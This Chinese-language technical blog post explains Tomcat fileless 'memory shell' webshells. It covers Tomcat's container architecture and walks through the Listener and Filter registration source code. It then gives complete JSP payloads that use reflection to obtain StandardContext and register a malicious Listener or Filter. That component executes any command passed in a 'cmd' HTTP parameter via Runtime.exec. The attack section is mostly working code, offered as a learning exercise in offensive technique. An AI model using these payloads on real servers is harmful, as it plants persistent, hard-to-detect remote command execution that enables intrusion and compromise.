内存马大致可以分为两种,第一种是利用Java Web的组件,如Tomcat下的动态添加Servlet、Filter、Listener的恶意组件,在Spring框架下就是Controller、Intercepter。第二种是修改字节码,如利用Java的Instrument机制,动态注入Agent。

本文分析Tomcat型内存马的其中两个,剩下的Tomcat型内存马下一篇文章写;学习内存马之前,还需要了解Java Web三大组件、tomcat、jsp的基础知识。

前置基础

基础知识只写了一些简单介绍

三大组件

Java Web三大组件:Listener、Filter、Servlet

简单介绍如下

  • Listener:它是一个实现了特定接口的Java程序,用于监听一个方法或者属性,当被监听的方法被调用或者属性改变时,就会自动执行某个方法。
  • Filter:它用于拦截用户请求以及服务端的响应,能够在拦截之后对请求和响应做出相应的修改。浏览器发出的请求再发送到Servlet之前会先经过Filter。
  • Servlet:它用来处理客户端发送的请求,并发送给对应的Servlet进行处理

Tomcat架构

Tomcat是java应用服务器,是Servlet容器。

从组件角度看分为Server、Service、Connector、Contaier四部分

  • Server:表示服务器,所有的一切都包含在Server中
  • Service:表示服务,Server中可运行多个Service服务;一个 Service 可以设置多个 Connector,但是只能有一个 Container 容器。
  • Connector:表示连接器,它将Service和Container连接起来,主要就是把客户端的请求转发给Container容器。
  • Contaier:表示容器,是Servlet容器。包括 Engine、Host、Context、Wrapper容器,它们均继承自Container接口。

Contaier层级关系如下:

Engine
└── Host(虚拟主机)
└── Context(Web 应用)
└── Wrapper(Servlet 实例)

Context

Context是Container组件的一种子容器,一个Context对应一个Web应用。

存在三种Context分别为ServletContext、ApplicationContext、StandardContext。

ServletContext接口,用来保存一个Web应用中所有Servlet的上下文信息,可以通过ServletContext来对某个Web应用的资源进行访问和操作。

三种context的关系

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。

Tomcat内存马

Tomcat内存马原理就是可以动态的将恶意组件添加到正在运行的Tomcat服务器中,而组件有Listener、Filter、Servlet,我们可以写恶意的组件,并把它动态注册到tomcat中就可以利用,因此内存马的类型就包含Listener型、Filter型和Servlet型内存马。

Listener型

Listener大致可以分为ServletContextListener、HttpSessionListener、ServletRequestListener三种,其中ServletRequestListener是用来监听ServletRequest的,当客户端访问任意路径时,都会触发ServletRequestListener#requestInitialized()的方法,因此很适合做内存马。

先在tomcat中写一个恶意的Listener测试,看看能不能执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package Listener;  

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebListener
public class ListenerTest implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest)sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}

通过cmd参数传入命令

成功执行命令说明这个恶意Linstener可以利用,接下来就需要利用动态注册的方式把这个Listener添加进tomcat服务器中。

创建Linstener流程分析

想把Linstener动态注册到tomcat中,先调试看一下它的创建流程,看看需要什么条件。

分析如下:

  1. 这里可以看到Standardcontext类的FireRequestInitEvent()方法可以调用我们的Listener

StandardContext#fireRequestInitEvent()源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean fireRequestInitEvent(ServletRequest request) {  

Object instances[] = getApplicationEventListeners();

if ((instances != null) && (instances.length > 0)) {

ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);

for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;

try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instance.getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}
  1. Object instances[] = getApplicationEventListeners();这里定义了一个数组,并通过getApplicationEventListeners方法获取Listener数组

  2. 继续跟进一下getApplicationEventListeners()方法
    可以看到该方法返回了applicationEventListenersList

  3. 因此可以知道Listener实际是储存在applicationEventListenersList中的,因此可以使用addApplicationEventListener方法将恶意Listener添加进去

内存马编写

分析完创建流程 内存马编写思路就清晰了,编写流程如下:

  1. 先获取StandardContext类
  2. 编写恶意Listener
  3. 通过addApplicationEventListener()添加Linstener

获取StandardContext类

在调试过程中可以发现StandardHostValve类可以通过request方法获取StandardContext类,而JSP也内置了request对象,因此可以用request获取StandardContext类

还是老样子先用用反射获取request,然后再获取StandardContext

1
2
3
4
5
<%  
Field req =request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request req1 = (Request) req.get(request); StandardContext context = (StandardContext)req1.getContext();
%>

另一种获取StandardContext方法

1
2
3
4
5
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>

编写恶意Listener

上面已经写过了,这里直接粘贴

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@WebListener  
public class ListenerTest implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest)sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}

添加Listener

1
2
3
4
<%
LinstenerTest linstentest = new LinstenerTest();
context.addApplicationEventListener(linstentest);
%>

合并一起如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="jdk.nashorn.internal.ir.RuntimeNode" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="Listener.ListenerTest" %>
<%@ page import="java.io.IOException" %>


<%!
public class ListenerTest implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest)sre.getServletRequest(); String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace(); } catch (NullPointerException n) {
n.printStackTrace(); } } } public void requestDestroyed(ServletRequestEvent sre) {
} }%>

<%
Field req =request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request req1 = (Request) req.get(request); StandardContext context = (StandardContext)req1.getContext();
ListenerTest linstentest = new ListenerTest();
context.addApplicationEventListener(linstentest);
%>

成功执行命令

Filter型

同理,也可以动态添加恶意Filter,而Filter是在FilterChain中通过doFilter()按顺序一个一个被调用的,因此可以把Filter添加进FilterChain中,

编写一个恶意Filer测试,看看能不能用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package Filter;  

import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import javax.servlet.*;

@WebFilter("/*")
public class FilterTest implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);

}
}

成功执行,说明恶意Filter写的没有问题

Filter流程分析

  1. 打上断点调试

    发现ApplicationFilterChain类下的internalDoFilter()方法调用了我们创建的恶意Filter;跟进看一下,源码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
     private void internalDoFilter(ServletRequest request,  
    ServletResponse response)
    throws IOException, ServletException {

    // Call the next filter if there is one
    if (pos < n) {
    ApplicationFilterConfig filterConfig = filters[pos++];
    try {
    Filter filter = filterConfig.getFilter();

    if (request.isAsyncSupported() && "false".equalsIgnoreCase(
    filterConfig.getFilterDef().getAsyncSupported())) {
    request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
    }
    if( Globals.IS_SECURITY_ENABLED ) {
    final ServletRequest req = request;
    final ServletResponse res = response;
    Principal principal =
    ((HttpServletRequest) req).getUserPrincipal();

    Object[] args = new Object[]{req, res, this};
    SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
    } else {
    filter.doFilter(request, response, this);
    }
    }
    ......#省略
    }
  2. 发现有一个filterConfig数组(一个Filter对应一个filterConfig,用来存储filter上下文信息)且filter是通过filterConfig.getFilter()获取的

    ctrl+左键跟进filters,发现它是ApplicationFilterConfig属性的数组

    且调用了dofilter()方法

  3. 接下来找一下ApplicationFilterChain.filters是在哪里被赋值的

  4. 我们应该往前找,找到了StandardWrapperValve#invoke()方法

  5. StandardWrapperValve#invoke()方法中,通过ApplicationFilterFactory.createFilterChain()方法初始化了一个ApplicationFilterChain

  6. 跟进ApplicationFilterFactory.createFilterChain()方法,看一下FilterChain是怎么创建的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

...
// Request dispatcher in use
filterChain = new ApplicationFilterChain();

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

...

String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {

...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...

filterChain.addFilter(filterConfig);
}

...

// Return the completed filter chain
return filterChain;
}
  1. 通过上面源码总结FilterChain的创建流程
    第一步通过filterChain = new ApplicationFilterChain()创建FilterChain
    第二步通过StandardContext context = (StandardContext) wrapper.getParent();获取StandardContext对象
    第三步通过StandardContext的findFilterMaps()获取FilterMap,其中包含Filter的名称及路径信息
    第四步通过context.findFilterConfig(filterMap.getFilterName())->Filter名称与findFilterConfig获取FilterConfig
    第五步 通过filterChain.addFilter(filterConfig);将filterConfig添加进filterChain中;其中addFilter()方法会把filterconfig添加进Filters中

因此接下来需要把恶意Filter的信息添加进FilterConfig数组中,这样恶意Filter就会被初始化到Filters中。

动态注册Filter

调试createFilterChain过程中发现StandardContext包含 filterConfigs、filterMap、filterDefs(filter的定义)三个属性,因此动态注册时需要添加这三个属性。
filterConfigs

FilterDef就是对应web.xml中的filter标签

1
2
3
4
<filter>  
<filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>

filterMap

1
2
3
4
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>

内存马编写

  1. 获取StandardContext对象
  2. 创建恶意Filter
  3. 使用FilterDef定义Filter
  4. 创建FilterMap
  5. 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中

获取StandardContext对象
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,可以将ServletContext转化为StandardContext使用

1
2
3
4
5
6
7
8
9
10
11
12
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

恶意Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class FilterTest implements Filter {   
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);

}
}

使用FilterDef定义Filter

1
2
3
4
5
6
String name = "FilterTest";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

创建FilterMap

1
2
3
4
5
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

封装filterConfig和filterDef到filterConfigs

1
2
3
4
5
6
7
8
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);

合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>

<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);%>

<%!
public class FilterTest implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace(); } catch (NullPointerException n) {
n.printStackTrace(); } } chain.doFilter(request, response);
} }%>

<%
FilterTest filter = new FilterTest();
String name = "FilterTest";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig);%>

先访问jsp

执行命令成功

总结

该篇分析了Listener型和Filter型的内存马,Listener型内存马是使用StandardContext#addApplicationEventListener()方法添加恶意Listener;Filter型内存马主要是需要添加FilterDef、FilterMap、FilterConfig三个属性并把它添加进FilterConfigs中,这样tomcat就会读取到恶意Filter的FilterConfig,从而把恶意Filter添加进Filters中,最终被添加到内存中从而可以接受参数执行命令。

下一篇继续分析剩余的Tomcat型的内存马

参考链接

https://pdai.tech/md/framework/tomcat/tomcat-x-arch.html
https://drun1baby.top/2022/08/19/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-01-%E5%9F%BA%E7%A1%80%E5%86%85%E5%AE%B9%E5%AD%A6%E4%B9%A0/#0x03-Tomcat-%E5%9F%BA%E7%A1%80%E4%BB%8B%E7%BB%8D
https://goodapple.top/archives/1359